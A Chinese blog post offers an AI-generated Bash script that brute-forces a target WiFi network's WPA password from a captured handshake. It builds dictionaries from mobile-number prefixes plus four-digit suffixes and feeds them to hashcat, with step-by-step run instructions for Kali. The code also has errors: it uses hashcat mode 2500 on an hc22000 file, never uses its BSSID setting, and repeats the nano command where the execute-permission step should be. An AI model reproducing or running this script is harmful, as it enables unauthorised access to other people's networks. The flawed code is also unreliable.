手机号段破解wifi密码_简文
2T超大容量网盘!点击领取 >> 原画质高清备份,上传下载不限速
这类文章我不会出视频,也不会说的很细致.大家看看得了. AI出的脚本,能用(测试过),前提是你得懂点Linux浅显的基础知识. 密码包里有各省市的手机号段.
这里提供一个分批次生成字典 + 自动破解的 Shell 脚本,可指定每批次处理的前缀数量,避免生成超大字典文件,直接在 Kali 中运行即可。
前提条件
已准备好 7 位手机号段文件 phone_prefix.txt(每行一个前缀)
已捕获有效 WiFi 握手包 handshake.pcap
已获取目标 WiFi 的 BSSID(可通过 aircrack-ng handshake.pcap 查看)
分批次破解脚本(batch_crack.sh)
#!/bin/bash
# 配置参数 - 根据实际情况修改
TARGET_BSSID="AA:BB:CC:DD:EE:FF" # 替换为目标WiFi的BSSID
HANDSHAKE_FILE="handshake.pcap" # 替换为你的握手包文件名
PREFIX_FILE="phone_prefix.txt" # 7位手机号段文件
BATCH_SIZE=10 # 每批次处理的前缀数量,可调整(如10/20/50)
HASH_FILE="temp_hash.hc22000" # 临时哈希文件
# 检查必要文件是否存在
if [ ! -f "$PREFIX_FILE" ]; then
echo "错误:找不到前缀文件 $PREFIX_FILE"
exit 1
fi
if [ ! -f "$HANDSHAKE_FILE" ]; then
echo "错误:找不到握手包文件 $HANDSHAKE_FILE"
exit 1
fi
# 转换握手包为hashcat支持格式(仅需执行一次)
echo "正在转换握手包格式..."
hcxpcapngtool "$HANDSHAKE_FILE" -o "$HASH_FILE"
if [ $? -ne 0 ]; then
echo "握手包转换失败,请检查文件有效性"
exit 1
fi
# 计算总前缀数
TOTAL_PREFIX=$(wc -l < "$PREFIX_FILE")
echo "共检测到 $TOTAL_PREFIX 个手机号段,每批次处理 $BATCH_SIZE 个"
echo "======================================"
# 分批处理前缀
BATCH_NUM=1
while [ $(wc -l < "$PREFIX_FILE") -gt 0 ]; do
# 提取当前批次的前缀
head -n "$BATCH_SIZE" "$PREFIX_FILE" > "temp_prefix_$BATCH_NUM.txt"
# 删除已提取的前缀(避免重复处理)
sed -i "1,$BATCH_SIZE d" "$PREFIX_FILE"
# 生成当前批次的密码字典(前缀+后4位0000-9999)
echo "正在生成第 $BATCH_NUM 批密码字典..."
rm -f "temp_pass_$BATCH_NUM.txt"
while read prefix; do
for suffix in {0000..9999}; do
echo "${prefix}${suffix}" >> "temp_pass_$BATCH_NUM.txt"
done
done < "temp_prefix_$BATCH_NUM.txt"
# 用hashcat破解当前批次
echo "正在破解第 $BATCH_NUM 批密码..."
hashcat -m 2500 -a 0 -d 1 "$HASH_FILE" "temp_pass_$BATCH_NUM.txt"
# 检查是否破解成功
if hashcat -m 2500 --show "$HASH_FILE" | grep -q ":"; then
echo "======================================"
echo "恭喜!密码破解成功:"
hashcat -m 2500 --show "$HASH_FILE"
rm -f temp_* # 清理临时文件
exit 0
fi
# 清理当前批次临时文件
rm -f "temp_prefix_$BATCH_NUM.txt" "temp_pass_$BATCH_NUM.txt"
echo "第 $BATCH_NUM 批破解失败,继续下一批..."
echo "======================================"
BATCH_NUM=$((BATCH_NUM + 1))
done
# 所有批次处理完毕
echo "所有前缀批次破解完成,未找到匹配密码"
rm -f "$HASH_FILE"
exit 0
使用步骤
1、在 Kali 终端中新建脚本:
nano batch_crack.sh
2、将上述脚本复制粘贴进去,修改 TARGET_BSSID、HANDSHAKE_FILE 等参数为你的实际信息。
3、赋予脚本执行权限:
nano batch_crack.sh
-
-
- 4、运行脚本:
./batch_crack.sh
-
2T超大容量网盘!点击领取 >> 原画质高清备份,上传下载不限速
当前文章作者名:塔林
当前文章标题:手机号段破解wifi密码_简文
当前文章地址:https://www.2109.top/3295/
来源:2109博客 地址:https://2109.top 文章版权归作者所有,未经允许请勿转载。
转载及其他合作需求请微信联系博主
当前文章标题:手机号段破解wifi密码_简文
当前文章地址:https://www.2109.top/3295/
来源:2109博客 地址:https://2109.top 文章版权归作者所有,未经允许请勿转载。
转载及其他合作需求请微信联系博主
THE END